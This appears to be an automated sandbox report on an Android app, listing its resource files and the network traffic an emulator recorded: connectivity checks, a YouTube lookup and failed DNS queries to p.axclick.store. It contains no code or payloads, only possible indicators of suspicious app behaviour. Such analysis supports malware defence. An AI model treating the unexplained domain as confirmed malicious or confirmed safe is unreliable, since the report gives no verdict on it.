abc_ic_menu_copy_mtrl_am_alpha.png
abc_popup_exit.xml
avd_show_password_2.xml
abc_scrubber_primary_mtrl_alpha.9.png
abc_list_selector_holo_light.xml
material_drawer_item_secondary_toggle.xml
searchable.xml
no_internet_view.xml
abc_btn_check_to_on_mtrl_000.png
abc_ic_star_half_black_36dp.png
abc_list_pressed_holo_dark.9.png
material_drawer_item_secondary.xml
notification_template_media_custom.xml
abc_ic_menu_paste_mtrl_am_alpha.png
abc_btn_colored_text_material.xml
abc_text_select_handle_right_mtrl_dark.png
abc_scrubber_control_to_pressed_mtrl_005.png
abc_text_select_handle_left_mtrl_dark.png
abc_btn_switch_to_on_mtrl_00012.9.png
abc_list_longpressed_holo.9.png
abc_ic_star_black_36dp.png
abc_background_cache_hint_selector_material_light.xml
abc_action_mode_close_item_material.xml
notification_bg_normal.9.png
abc_tint_seek_thumb.xml
abc_text_select_handle_middle_mtrl_dark.png
material_drawer_item_profile.xml
abc_switch_track_mtrl_alpha.9.png
design_navigation_item_header.xml
material_drawer_item_toggle.xml
abc_text_select_handle_right_mtrl_light.png
abc_btn_check_to_on_mtrl_000.png
abc_btn_check_material.xml
abc_scrubber_track_mtrl_alpha.9.png
abc_text_select_handle_left_mtrl_light.png
notification_template_big_media_custom.xml
abc_btn_radio_to_on_mtrl_015.png
abc_list_selector_background_transition_holo_dark.xml
abc_ab_share_pack_mtrl_alpha.9.png
abc_activity_chooser_view.xml
material_drawer_item_section.xml
notification_bg.xml
design_bottom_sheet_dialog.xml
abc_background_cache_hint_selector_material_dark.xml
notification_template_big_media.xml
abc_text_select_handle_right_mtrl_dark.png
materialize.xml
abc_tint_edittext.xml
abc_ic_star_half_black_48dp.png
design_ic_visibility.png
abc_text_select_handle_middle_mtrl_light.png
abc_text_select_handle_left_mtrl_dark.png
ic_fullscreen_exit.xml
select_dialog_multichoice_material.xml
abc_list_selector_disabled_holo_dark.9.png
abc_tint_switch_track.xml
abc_tab_indicator_mtrl_alpha.9.png
design_navigation_menu.xml
notify_panel_notification_icon_bg.png
abc_btn_switch_to_on_mtrl_00012.9.png
thumbnail.jpg
abc_spinner_mtrl_am_alpha.9.png
navigation_empty_icon.xml
abc_ic_menu_share_mtrl_alpha.png
notification_action_tombstone.xml
abc_spinner_mtrl_am_alpha.9.png
notification_bg_low_normal.9.png
abc_seekbar_track_material.xml
abc_ic_menu_paste_mtrl_am_alpha.png
abc_popup_background_mtrl_mult.9.png
abc_list_pressed_holo_light.9.png
ic_skip_previous.xml
material_drawer_item_secondary_switch.xml
abc_item_background_holo_dark.xml
abc_tint_switch_thumb.xml
abc_tint_switch_thumb.xml
ic_launcher.png
materialdrawerfont-font-v5.0.0.ttf
ic_action_stat_share.png
abc_ic_clear_material.xml
menu_main.xml
abc_list_focused_holo.9.png
abc_search_view.xml
abc_btn_check_to_on_mtrl_000.png
abc_color_highlight_material.xml
select_dialog_singlechoice_material.xml
abc_ic_star_half_black_36dp.png
abc_list_pressed_holo_dark.9.png
classes.dex
design_ic_visibility_off.png
abc_secondary_text_material_light.xml
abc_textfield_search_default_mtrl_alpha.9.png
abc_ic_menu_copy_mtrl_am_alpha.png
abc_textfield_search_activated_mtrl_alpha.9.png
material_drawer_shadow_top.xml
abc_ic_star_black_36dp.png
ic_action_stat_reply.png
abc_action_bar_up_container.xml
notification_template_lines_media.xml
material_drawer_item_toggle.xml
abc_ic_star_black_48dp.png
abc_item_background_holo_light.xml
material_drawer_item_expandable.xml
design_bottom_sheet_slide_out.xml
abc_btn_radio_material.xml
abc_btn_radio_to_on_mtrl_000.png
abc_scrubber_control_to_pressed_mtrl_000.png
abc_popup_menu_item_layout.xml
support_simple_spinner_dropdown_item.xml
abc_tint_default.xml
abc_text_select_handle_middle_mtrl_dark.png
abc_action_mode_bar.xml
ic_replay.xml
abc_btn_colored_borderless_text_material.xml
abc_ab_share_pack_mtrl_alpha.9.png
abc_ic_star_half_black_16dp.png
ic_repeat_none.xml
avd_hide_password_1.xml
notification_action_tombstone.xml
abc_text_select_handle_left_mtrl_dark.png
notification_template_custom_big.xml
ic_play.xml
abc_btn_radio_to_on_mtrl_015.png
design_ic_visibility.xml
abc_slide_in_bottom.xml
abc_textfield_search_default_mtrl_alpha.9.png
abc_ic_menu_share_mtrl_alpha.png
material_drawer_item_expandable_badge.xml
material_drawer_header.xml
design_fab_in.xml
abc_ic_menu_copy_mtrl_am_alpha.png
notification_bg_normal.9.png
abc_ic_menu_cut_mtrl_alpha.png
abc_ic_commit_search_api_mtrl_alpha.png
abc_ratingbar_small_material.xml
abc_popup_menu_header_item_layout.xml
abc_ratingbar_indicator_material.xml
abc_btn_colored_material.xml
abc_alert_dialog_title_material.xml
material_drawer_item_secondary_toggle.xml
design_ic_visibility.png
material_drawer_item_profile.xml
abc_textfield_default_mtrl_alpha.9.png
content_no_internet.xml
notification_tile_bg.xml
abc_scrubber_control_off_mtrl_alpha.png
switch_thumb_material_light.xml
abc_switch_track_mtrl_alpha.9.png
AndroidManifest.xml
abc_btn_borderless_material.xml
notification_template_big_media_custom.xml
abc_search_dropdown_item_icons_2line.xml
abc_ic_menu_selectall_mtrl_alpha.png
abc_list_menu_item_checkbox.xml
abc_scrubber_control_to_pressed_mtrl_000.png
abc_alert_dialog_material.xml
ic_stat_playing.png
abc_textfield_activated_mtrl_alpha.9.png
abc_scrubber_control_to_pressed_mtrl_005.png
abc_btn_switch_to_on_mtrl_00001.9.png
design_layout_snackbar_include.xml
abc_btn_colored_text_material.xml
ic_entire_width.xml
abc_activity_chooser_view_list_item.xml
ic_mover.png
abc_ic_menu_copy_mtrl_am_alpha.png
material_drawer_item_switch.xml
abc_tint_spinner.xml
abc_ic_star_black_48dp.png
ic_fullscreen.xml
material_drawer.xml
abc_list_divider_mtrl_alpha.9.png
design_bottom_navigation_item_background.xml
notification_bg_low_pressed.9.png
abc_scrubber_primary_mtrl_alpha.9.png
abc_text_select_handle_middle_mtrl_light.png
abc_ic_star_black_16dp.png
ic_mover.png
material_drawer_item_switch.xml
abc_select_dialog_material.xml
abc_ic_search_api_material.xml
abc_spinner_mtrl_am_alpha.9.png
abc_ic_menu_cut_mtrl_alpha.png
notification_icon_background.xml
abc_tint_default.xml
abc_slide_in_top.xml
ic_mover.png
abc_slide_out_bottom.xml
design_layout_tab_icon.xml
abc_text_select_handle_left_mtrl_light.png
notification_action.xml
abc_text_select_handle_middle_mtrl_dark.png
abc_spinner_textfield_background_material.xml
player_webview.xml
abc_btn_radio_to_on_mtrl_000.png
design_menu_item_action_area.xml
material_drawer_item_secondary_switch.xml
abc_btn_colored_borderless_text_material.xml
notification_media_cancel_action.xml
notification_template_big_media_narrow_custom.xml
abc_text_select_handle_left_mtrl_light.png
arrow_drop_up.xml
notification_template_custom_big.xml
abc_expanded_menu_layout.xml
notification_template_custom_big.xml
abc_textfield_search_activated_mtrl_alpha.9.png
ic_launcher.png
abc_scrubber_control_off_mtrl_alpha.png
abc_dialog_material_background.xml
abc_text_select_handle_middle_mtrl_light.png
design_ic_visibility_off.png
ic_action_stat_share.png
abc_control_background_material.xml
notify_panel_notification_icon_bg.png
design_snackbar_out.xml
material_drawer_item_toggle.xml
abc_list_menu_item_layout.xml
abc_scrubber_control_off_mtrl_alpha.png
abc_screen_content_include.xml
material_drawer_fits_not.xml
avd_show_password_3.xml
design_ic_visibility.png
abc_tab_indicator_mtrl_alpha.9.png
notification_template_big_media_narrow_custom.xml
abc_edit_text_material.xml
notification_template_custom_big.xml
abc_text_select_handle_left_mtrl_light.png
ic_action_stat_reply.png
abc_switch_track_mtrl_alpha.9.png
material_drawer_item_mini_profile.xml
abc_ic_star_black_16dp.png
material_drawer_slider.xml
design_bottom_navigation_item_background.xml
abc_ic_menu_selectall_mtrl_alpha.png
material_drawer_item_primary.xml
abc_menu_hardkey_panel_mtrl_mult.9.png
abc_shrink_fade_out_from_bottom.xml
material_drawer_item_profile_setting.xml
abc_tab_indicator_material.xml
abc_ic_star_half_black_48dp.png
abc_text_select_handle_right_mtrl_dark.png
ic_put_arrow.xml
abc_ic_star_black_36dp.png
abc_spinner_mtrl_am_alpha.9.png
abc_text_select_handle_left_mtrl_dark.png
abc_action_bar_title_item.xml
abc_popup_background_mtrl_mult.9.png
abc_list_divider_mtrl_alpha.9.png
material_drawer_recycler_view.xml
abc_btn_switch_to_on_mtrl_00012.9.png
material_drawer_compact_header.xml
activity_yt.xml
abc_ic_menu_cut_mtrl_alpha.png
abc_ic_star_half_black_36dp.png
abc_textfield_default_mtrl_alpha.9.png
youtube_player.xml
abc_ic_menu_cut_mtrl_alpha.png
abc_list_longpressed_holo.9.png
abc_primary_text_disable_only_material_dark.xml
abc_primary_text_material_dark.xml
abc_cab_background_top_mtrl_alpha.9.png
ic_shuffle.xml
circle.xml
notification_bg_low.xml
abc_textfield_default_mtrl_alpha.9.png
ic_mover.png
design_ic_visibility_off.png
material_drawer_item_secondary.xml
abc_menu_hardkey_panel_mtrl_mult.9.png
service_close.xml
notification_template_big_media_narrow.xml
abc_btn_switch_to_on_mtrl_00001.9.png
abc_btn_check_to_on_mtrl_015.png
abc_action_menu_item_layout.xml
abc_list_pressed_holo_light.9.png
notification_media_action.xml
abc_scrubber_control_to_pressed_mtrl_000.png
design_navigation_item_separator.xml
abc_slide_out_top.xml
abc_action_bar_item_background_material.xml
abc_scrubber_track_mtrl_alpha.9.png
abc_ic_commit_search_api_mtrl_alpha.png
abc_ic_menu_selectall_mtrl_alpha.png
abc_ic_menu_paste_mtrl_am_alpha.png
material_drawer_item_profile_setting.xml
notification_template_lines_media.xml
abc_textfield_default_mtrl_alpha.9.png
abc_textfield_search_activated_mtrl_alpha.9.png
notification_template_part_chronometer.xml
splash.xml
abc_ic_star_half_black_16dp.png
abc_alert_dialog_button_bar_material.xml
abc_ic_menu_share_mtrl_alpha.png
abc_screen_toolbar.xml
abc_ic_star_black_36dp.png
abc_popup_background_mtrl_mult.9.png
notification_bg_normal.9.png
abc_list_selector_disabled_holo_light.9.png
abc_textfield_search_material.xml
ic_close_dark.xml
material_drawer_item_profile.xml
activity_permission.xml
abc_ic_menu_overflow_material.xml
abc_cab_background_top_material.xml
abc_btn_switch_to_on_mtrl_00001.9.png
abc_ratingbar_small_material.xml
abc_ic_menu_cut_mtrl_alpha.png
abc_tab_indicator_mtrl_alpha.9.png
design_ic_visibility_off.xml
abc_ic_star_black_16dp.png
ic_action_stat_share.png
abc_list_menu_item_radio.xml
abc_ic_menu_copy_mtrl_am_alpha.png
material_drawer_item_section.xml
abc_ic_star_half_black_48dp.png
abc_screen_simple_overlay_action_mode.xml
abc_ic_go_search_api_material.xml
service_close_background.xml
abc_ic_menu_cut_mtrl_alpha.png
abc_switch_track_mtrl_alpha.9.png
abc_ic_star_half_black_36dp.png
abc_select_dialog_material.xml
abc_ic_star_half_black_16dp.png
notification_bg_low_normal.9.png
notification_template_big_media.xml
abc_ic_menu_cut_mtrl_alpha.png
design_snackbar_background.xml
abc_ic_menu_copy_mtrl_am_alpha.png
material_drawer_compact_header.xml
abc_spinner_mtrl_am_alpha.9.png
abc_btn_radio_to_on_mtrl_015.png
material_drawer_item_profile.xml
abc_ic_menu_cut_mtrl_alpha.png
design_tint_password_toggle.xml
abc_popup_menu_header_item_layout.xml
abc_ic_star_black_48dp.png
ic_action_stat_reply.png
activity_main.xml
design_fab_background.xml
avd_hide_password_2.xml
design_layout_tab_text.xml
abc_spinner_mtrl_am_alpha.9.png
abc_ic_menu_paste_mtrl_am_alpha.png
player_view.xml
abc_tint_edittext.xml
material_drawer_item_mini.xml
abc_btn_switch_to_on_mtrl_00001.9.png
abc_popup_background_mtrl_mult.9.png
abc_popup_menu_item_layout.xml
content_no_internet.xml
notification_bg_low_normal.9.png
abc_text_select_handle_middle_mtrl_light.png
abc_primary_text_disable_only_material_light.xml
abc_btn_check_to_on_mtrl_000.png
abc_list_pressed_holo_dark.9.png
content_settings.xml
abc_ab_share_pack_mtrl_alpha.9.png
abc_ratingbar_material.xml
material_drawer_circle_mask.xml
abc_text_cursor_material.xml
avd_hide_password.xml

Network Behavior

Network Port Distribution

TCP Packets

TimestampSource PortDest PortSource IPDest IP
Sep 6, 2017 15:37:52.525680065 CEST484575228192.168.1.3366.102.1.188
Sep 6, 2017 15:37:52.525794983 CEST52284845766.102.1.188192.168.1.33
Sep 6, 2017 15:37:52.525990963 CEST484575228192.168.1.3366.102.1.188
Sep 6, 2017 15:37:52.526973963 CEST484575228192.168.1.3366.102.1.188
Sep 6, 2017 15:37:52.527018070 CEST52284845766.102.1.188192.168.1.33
Sep 6, 2017 15:37:53.046824932 CEST52284845766.102.1.188192.168.1.33
Sep 6, 2017 15:37:53.046874046 CEST52284845766.102.1.188192.168.1.33
Sep 6, 2017 15:37:53.046885014 CEST52284845766.102.1.188192.168.1.33
Sep 6, 2017 15:37:53.047188997 CEST484575228192.168.1.3366.102.1.188
Sep 6, 2017 15:37:53.047266006 CEST484575228192.168.1.3366.102.1.188
Sep 6, 2017 15:37:53.047302961 CEST484575228192.168.1.3366.102.1.188
Sep 6, 2017 15:37:53.173971891 CEST52284845766.102.1.188192.168.1.33
Sep 6, 2017 15:37:53.174257994 CEST484575228192.168.1.3366.102.1.188
Sep 6, 2017 15:37:53.178316116 CEST484575228192.168.1.3366.102.1.188
Sep 6, 2017 15:37:53.178364992 CEST52284845766.102.1.188192.168.1.33
Sep 6, 2017 15:37:53.178844929 CEST484575228192.168.1.3366.102.1.188
Sep 6, 2017 15:37:53.180603981 CEST3646880192.168.1.3364.233.167.139
Sep 6, 2017 15:37:53.180651903 CEST803646864.233.167.139192.168.1.33
Sep 6, 2017 15:37:53.339950085 CEST803646864.233.167.139192.168.1.33
Sep 6, 2017 15:37:53.340378046 CEST3646880192.168.1.3364.233.167.139
Sep 6, 2017 15:37:53.842319965 CEST3621653192.168.1.338.8.8.8
Sep 6, 2017 15:37:53.885030031 CEST53362168.8.8.8192.168.1.33
Sep 6, 2017 15:37:58.183981895 CEST364505228192.168.1.3366.102.1.188
Sep 6, 2017 15:37:58.184086084 CEST52283645066.102.1.188192.168.1.33
Sep 6, 2017 15:37:58.184322119 CEST364505228192.168.1.3366.102.1.188
Sep 6, 2017 15:37:58.185312033 CEST364505228192.168.1.3366.102.1.188
Sep 6, 2017 15:37:58.185353041 CEST52283645066.102.1.188192.168.1.33
Sep 6, 2017 15:37:58.565948009 CEST52283645066.102.1.188192.168.1.33
Sep 6, 2017 15:37:58.565984964 CEST52283645066.102.1.188192.168.1.33
Sep 6, 2017 15:37:58.565994978 CEST52283645066.102.1.188192.168.1.33
Sep 6, 2017 15:37:58.566272974 CEST364505228192.168.1.3366.102.1.188
Sep 6, 2017 15:37:58.566353083 CEST364505228192.168.1.3366.102.1.188
Sep 6, 2017 15:37:58.566391945 CEST364505228192.168.1.3366.102.1.188
Sep 6, 2017 15:37:58.608982086 CEST52283645066.102.1.188192.168.1.33
Sep 6, 2017 15:37:58.609158039 CEST364505228192.168.1.3366.102.1.188
Sep 6, 2017 15:37:58.611305952 CEST364505228192.168.1.3366.102.1.188
Sep 6, 2017 15:37:58.611324072 CEST52283645066.102.1.188192.168.1.33
Sep 6, 2017 15:37:58.611589909 CEST364505228192.168.1.3366.102.1.188
Sep 6, 2017 15:37:58.612562895 CEST3646880192.168.1.3364.233.167.139
Sep 6, 2017 15:37:58.612585068 CEST803646864.233.167.139192.168.1.33
Sep 6, 2017 15:37:58.761198997 CEST803646864.233.167.139192.168.1.33
Sep 6, 2017 15:37:58.761537075 CEST3646880192.168.1.3364.233.167.139
Sep 6, 2017 15:38:08.293623924 CEST404035228192.168.1.3366.102.1.188
Sep 6, 2017 15:38:08.293682098 CEST52284040366.102.1.188192.168.1.33
Sep 6, 2017 15:38:08.293864965 CEST404035228192.168.1.3366.102.1.188
Sep 6, 2017 15:38:08.294765949 CEST404035228192.168.1.3366.102.1.188
Sep 6, 2017 15:38:08.294795990 CEST52284040366.102.1.188192.168.1.33
Sep 6, 2017 15:38:08.798741102 CEST52284040366.102.1.188192.168.1.33
Sep 6, 2017 15:38:08.798767090 CEST52284040366.102.1.188192.168.1.33
Sep 6, 2017 15:38:08.798772097 CEST52284040366.102.1.188192.168.1.33
Sep 6, 2017 15:38:08.799005032 CEST404035228192.168.1.3366.102.1.188
Sep 6, 2017 15:38:08.799102068 CEST404035228192.168.1.3366.102.1.188
Sep 6, 2017 15:38:08.799140930 CEST404035228192.168.1.3366.102.1.188
Sep 6, 2017 15:38:08.949908018 CEST52284040366.102.1.188192.168.1.33
Sep 6, 2017 15:38:08.950123072 CEST404035228192.168.1.3366.102.1.188
Sep 6, 2017 15:38:08.952914953 CEST404035228192.168.1.3366.102.1.188
Sep 6, 2017 15:38:08.952939987 CEST52284040366.102.1.188192.168.1.33
Sep 6, 2017 15:38:08.953248978 CEST404035228192.168.1.3366.102.1.188
Sep 6, 2017 15:38:08.954385996 CEST3646880192.168.1.3364.233.167.139
Sep 6, 2017 15:38:08.954413891 CEST803646864.233.167.139192.168.1.33
Sep 6, 2017 15:38:09.175894022 CEST803646864.233.167.139192.168.1.33
Sep 6, 2017 15:38:09.176177025 CEST3646880192.168.1.3364.233.167.139
Sep 6, 2017 15:38:24.218050957 CEST5867153192.168.1.338.8.8.8
Sep 6, 2017 15:38:24.326746941 CEST53586718.8.8.8192.168.1.33
Sep 6, 2017 15:38:28.289021969 CEST973353192.168.1.338.8.8.8
Sep 6, 2017 15:38:28.426073074 CEST527895228192.168.1.3366.102.1.188
Sep 6, 2017 15:38:28.426115990 CEST52285278966.102.1.188192.168.1.33
Sep 6, 2017 15:38:28.426265001 CEST527895228192.168.1.3366.102.1.188
Sep 6, 2017 15:38:28.427032948 CEST527895228192.168.1.3366.102.1.188
Sep 6, 2017 15:38:28.427054882 CEST52285278966.102.1.188192.168.1.33
Sep 6, 2017 15:38:28.576848030 CEST4006053192.168.1.338.8.8.8
Sep 6, 2017 15:38:28.633137941 CEST53400608.8.8.8192.168.1.33
Sep 6, 2017 15:38:28.633965015 CEST35775443192.168.1.33172.217.18.14
Sep 6, 2017 15:38:28.634006977 CEST44335775172.217.18.14192.168.1.33
Sep 6, 2017 15:38:28.634164095 CEST35775443192.168.1.33172.217.18.14
Sep 6, 2017 15:38:28.637200117 CEST35775443192.168.1.33172.217.18.14
Sep 6, 2017 15:38:28.637222052 CEST44335775172.217.18.14192.168.1.33
Sep 6, 2017 15:38:28.733659029 CEST44335775172.217.18.14192.168.1.33
Sep 6, 2017 15:38:28.733678102 CEST44335775172.217.18.14192.168.1.33
Sep 6, 2017 15:38:28.733694077 CEST44335775172.217.18.14192.168.1.33
Sep 6, 2017 15:38:28.733831882 CEST35775443192.168.1.33172.217.18.14
Sep 6, 2017 15:38:28.733910084 CEST35775443192.168.1.33172.217.18.14
Sep 6, 2017 15:38:28.733938932 CEST35775443192.168.1.33172.217.18.14
Sep 6, 2017 15:38:28.759934902 CEST44335775172.217.18.14192.168.1.33
Sep 6, 2017 15:38:28.760169029 CEST35775443192.168.1.33172.217.18.14
Sep 6, 2017 15:38:28.766227961 CEST35775443192.168.1.33172.217.18.14
Sep 6, 2017 15:38:28.766266108 CEST44335775172.217.18.14192.168.1.33
Sep 6, 2017 15:38:28.778603077 CEST35775443192.168.1.33172.217.18.14
Sep 6, 2017 15:38:28.778682947 CEST44335775172.217.18.14192.168.1.33
Sep 6, 2017 15:38:28.778812885 CEST35775443192.168.1.33172.217.18.14
Sep 6, 2017 15:38:28.793513060 CEST5397338.8.8.8192.168.1.33
Sep 6, 2017 15:38:28.793797016 CEST2865753192.168.1.338.8.8.8
Sep 6, 2017 15:38:28.864001989 CEST53286578.8.8.8192.168.1.33
Sep 6, 2017 15:38:28.914520979 CEST52285278966.102.1.188192.168.1.33
Sep 6, 2017 15:38:28.914549112 CEST52285278966.102.1.188192.168.1.33
Sep 6, 2017 15:38:28.914558887 CEST52285278966.102.1.188192.168.1.33
Sep 6, 2017 15:38:28.914665937 CEST527895228192.168.1.3366.102.1.188
Sep 6, 2017 15:38:28.914741039 CEST527895228192.168.1.3366.102.1.188
Sep 6, 2017 15:38:28.914781094 CEST527895228192.168.1.3366.102.1.188
Sep 6, 2017 15:38:29.024852037 CEST52285278966.102.1.188192.168.1.33
Sep 6, 2017 15:38:29.025036097 CEST527895228192.168.1.3366.102.1.188
Sep 6, 2017 15:38:29.027928114 CEST527895228192.168.1.3366.102.1.188
Sep 6, 2017 15:38:29.027962923 CEST52285278966.102.1.188192.168.1.33
Sep 6, 2017 15:38:29.028304100 CEST527895228192.168.1.3366.102.1.188
Sep 6, 2017 15:38:29.029989958 CEST3646880192.168.1.3364.233.167.139
Sep 6, 2017 15:38:29.030025005 CEST803646864.233.167.139192.168.1.33
Sep 6, 2017 15:38:29.284375906 CEST803646864.233.167.139192.168.1.33
Sep 6, 2017 15:38:29.284707069 CEST3646880192.168.1.3364.233.167.139
Sep 6, 2017 15:39:07.756772995 CEST388565228192.168.1.3366.102.1.188
Sep 6, 2017 15:39:07.756818056 CEST52283885666.102.1.188192.168.1.33
Sep 6, 2017 15:39:07.756928921 CEST388565228192.168.1.3366.102.1.188
Sep 6, 2017 15:39:07.757594109 CEST388565228192.168.1.3366.102.1.188
Sep 6, 2017 15:39:07.757611990 CEST52283885666.102.1.188192.168.1.33
Sep 6, 2017 15:39:08.121494055 CEST52283885666.102.1.188192.168.1.33
Sep 6, 2017 15:39:08.121517897 CEST52283885666.102.1.188192.168.1.33
Sep 6, 2017 15:39:08.121531010 CEST52283885666.102.1.188192.168.1.33
Sep 6, 2017 15:39:08.121759892 CEST388565228192.168.1.3366.102.1.188
Sep 6, 2017 15:39:08.121819973 CEST388565228192.168.1.3366.102.1.188
Sep 6, 2017 15:39:08.121859074 CEST388565228192.168.1.3366.102.1.188
Sep 6, 2017 15:39:08.149564028 CEST52283885666.102.1.188192.168.1.33
Sep 6, 2017 15:39:08.149792910 CEST388565228192.168.1.3366.102.1.188
Sep 6, 2017 15:39:08.153359890 CEST388565228192.168.1.3366.102.1.188
Sep 6, 2017 15:39:08.153393984 CEST52283885666.102.1.188192.168.1.33
Sep 6, 2017 15:39:08.153822899 CEST388565228192.168.1.3366.102.1.188
Sep 6, 2017 15:39:08.154974937 CEST3646880192.168.1.3364.233.167.139
Sep 6, 2017 15:39:08.155000925 CEST803646864.233.167.139192.168.1.33
Sep 6, 2017 15:39:08.399552107 CEST803646864.233.167.139192.168.1.33
Sep 6, 2017 15:39:08.399806023 CEST3646880192.168.1.3364.233.167.139
Sep 6, 2017 15:40:26.433120012 CEST579975228192.168.1.3366.102.1.188
Sep 6, 2017 15:40:26.433176994 CEST52285799766.102.1.188192.168.1.33
Sep 6, 2017 15:40:26.433408976 CEST579975228192.168.1.3366.102.1.188
Sep 6, 2017 15:40:26.434557915 CEST579975228192.168.1.3366.102.1.188
Sep 6, 2017 15:40:26.434609890 CEST52285799766.102.1.188192.168.1.33
Sep 6, 2017 15:40:26.860399961 CEST52285799766.102.1.188192.168.1.33
Sep 6, 2017 15:40:26.860430956 CEST52285799766.102.1.188192.168.1.33
Sep 6, 2017 15:40:26.860467911 CEST52285799766.102.1.188192.168.1.33
Sep 6, 2017 15:40:26.860574007 CEST579975228192.168.1.3366.102.1.188
Sep 6, 2017 15:40:26.860629082 CEST579975228192.168.1.3366.102.1.188
Sep 6, 2017 15:40:26.860652924 CEST579975228192.168.1.3366.102.1.188
Sep 6, 2017 15:40:26.979738951 CEST52285799766.102.1.188192.168.1.33
Sep 6, 2017 15:40:26.980632067 CEST579975228192.168.1.3366.102.1.188
Sep 6, 2017 15:40:26.983783007 CEST579975228192.168.1.3366.102.1.188
Sep 6, 2017 15:40:26.983810902 CEST52285799766.102.1.188192.168.1.33
Sep 6, 2017 15:40:26.984102011 CEST579975228192.168.1.3366.102.1.188
Sep 6, 2017 15:40:26.985287905 CEST3646880192.168.1.3364.233.167.139
Sep 6, 2017 15:40:26.985318899 CEST803646864.233.167.139192.168.1.33
Sep 6, 2017 15:40:27.226088047 CEST803646864.233.167.139192.168.1.33
Sep 6, 2017 15:40:27.226380110 CEST3646880192.168.1.3364.233.167.139

UDP Packets

TimestampSource PortDest PortSource IPDest IP
Sep 6, 2017 15:37:53.842319965 CEST3621653192.168.1.338.8.8.8
Sep 6, 2017 15:37:53.885030031 CEST53362168.8.8.8192.168.1.33
Sep 6, 2017 15:38:24.218050957 CEST5867153192.168.1.338.8.8.8
Sep 6, 2017 15:38:24.326746941 CEST53586718.8.8.8192.168.1.33
Sep 6, 2017 15:38:28.289021969 CEST973353192.168.1.338.8.8.8
Sep 6, 2017 15:38:28.576848030 CEST4006053192.168.1.338.8.8.8
Sep 6, 2017 15:38:28.633137941 CEST53400608.8.8.8192.168.1.33
Sep 6, 2017 15:38:28.793513060 CEST5397338.8.8.8192.168.1.33
Sep 6, 2017 15:38:28.793797016 CEST2865753192.168.1.338.8.8.8
Sep 6, 2017 15:38:28.864001989 CEST53286578.8.8.8192.168.1.33

DNS Queries

TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
Sep 6, 2017 15:38:28.289021969 CEST192.168.1.338.8.8.80xa3e1Standard query (0)p.axclick.storeA (IP address)IN (0x0001)
Sep 6, 2017 15:38:28.576848030 CEST192.168.1.338.8.8.80x5cb7Standard query (0)m.youtube.comA (IP address)IN (0x0001)
Sep 6, 2017 15:38:28.793797016 CEST192.168.1.338.8.8.80x52c7Standard query (0)p.axclick.storeA (IP address)IN (0x0001)

DNS Answers

TimestampSource IPDest IPTrans IDReplay CodeNameCNameAddressTypeClass
Sep 6, 2017 15:38:28.633137941 CEST8.8.8.8192.168.1.330x5cb7No error (0)m.youtube.com172.217.18.14A (IP address)IN (0x0001)
Sep 6, 2017 15:38:28.793513060 CEST8.8.8.8192.168.1.330xa3e1Name error (3)p.axclick.storenonenoneA (IP address)IN (0x0001)
Sep 6, 2017 15:38:28.864001989 CEST8.8.8.8192.168.1.330x52c7Name error (3)p.axclick.storenonenoneA (IP address)IN (0x0001)

HTTP Request Dependency Graph

  • connectivitycheck.android.com

HTTP Packets

TimestampSource PortDest PortSource IPDest IPHeaderTotal Bytes Transfered (KB)
Sep 6, 2017 15:37:53.180603981 CEST3646880192.168.1.3364.233.167.139GET /generate_204 HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)
Host: connectivitycheck.android.com
Connection: Keep-Alive
Accept-Encoding: gzip
5
Sep 6, 2017 15:37:53.339950085 CEST803646864.233.167.139192.168.1.33HTTP/1.1 204 No Content
Content-Length: 0
Date: Wed, 06 Sep 2017 13:37:53 GMT
6
Sep 6, 2017 15:37:58.612562895 CEST3646880192.168.1.3364.233.167.139GET /generate_204 HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)
Host: connectivitycheck.android.com
Connection: Keep-Alive
Accept-Encoding: gzip
12
Sep 6, 2017 15:37:58.761198997 CEST803646864.233.167.139192.168.1.33HTTP/1.1 204 No Content
Content-Length: 0
Date: Wed, 06 Sep 2017 13:37:58 GMT
12
Sep 6, 2017 15:38:08.954385996 CEST3646880192.168.1.3364.233.167.139GET /generate_204 HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)
Host: connectivitycheck.android.com
Connection: Keep-Alive
Accept-Encoding: gzip
18
Sep 6, 2017 15:38:09.175894022 CEST803646864.233.167.139192.168.1.33HTTP/1.1 204 No Content
Content-Length: 0
Date: Wed, 06 Sep 2017 13:38:09 GMT
18
Sep 6, 2017 15:38:29.029989958 CEST3646880192.168.1.3364.233.167.139GET /generate_204 HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)
Host: connectivitycheck.android.com
Connection: Keep-Alive
Accept-Encoding: gzip
36
Sep 6, 2017 15:38:29.284375906 CEST803646864.233.167.139192.168.1.33HTTP/1.1 204 No Content
Content-Length: 0
Date: Wed, 06 Sep 2017 13:38:29 GMT
36
Sep 6, 2017 15:39:08.154974937 CEST3646880192.168.1.3364.233.167.139GET /generate_204 HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)
Host: connectivitycheck.android.com
Connection: Keep-Alive
Accept-Encoding: gzip
43
Sep 6, 2017 15:39:08.399552107 CEST803646864.233.167.139192.168.1.33HTTP/1.1 204 No Content
Content-Length: 0
Date: Wed, 06 Sep 2017 13:39:08 GMT
43
Sep 6, 2017 15:40:26.985287905 CEST3646880192.168.1.3364.233.167.139GET /generate_204 HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)
Host: connectivitycheck.android.com
Connection: Keep-Alive
Accept-Encoding: gzip
49
Sep 6, 2017 15:40:27.226088047 CEST803646864.233.167.139192.168.1.33HTTP/1.1 204 No Content
Content-Length: 0
Date: Wed, 06 Sep 2017 13:40:27 GMT
49

HTTPS Packets

TimestampSource PortDest PortSource IPDest IPSubjectIssuerNot BeforeNot AfterRaw
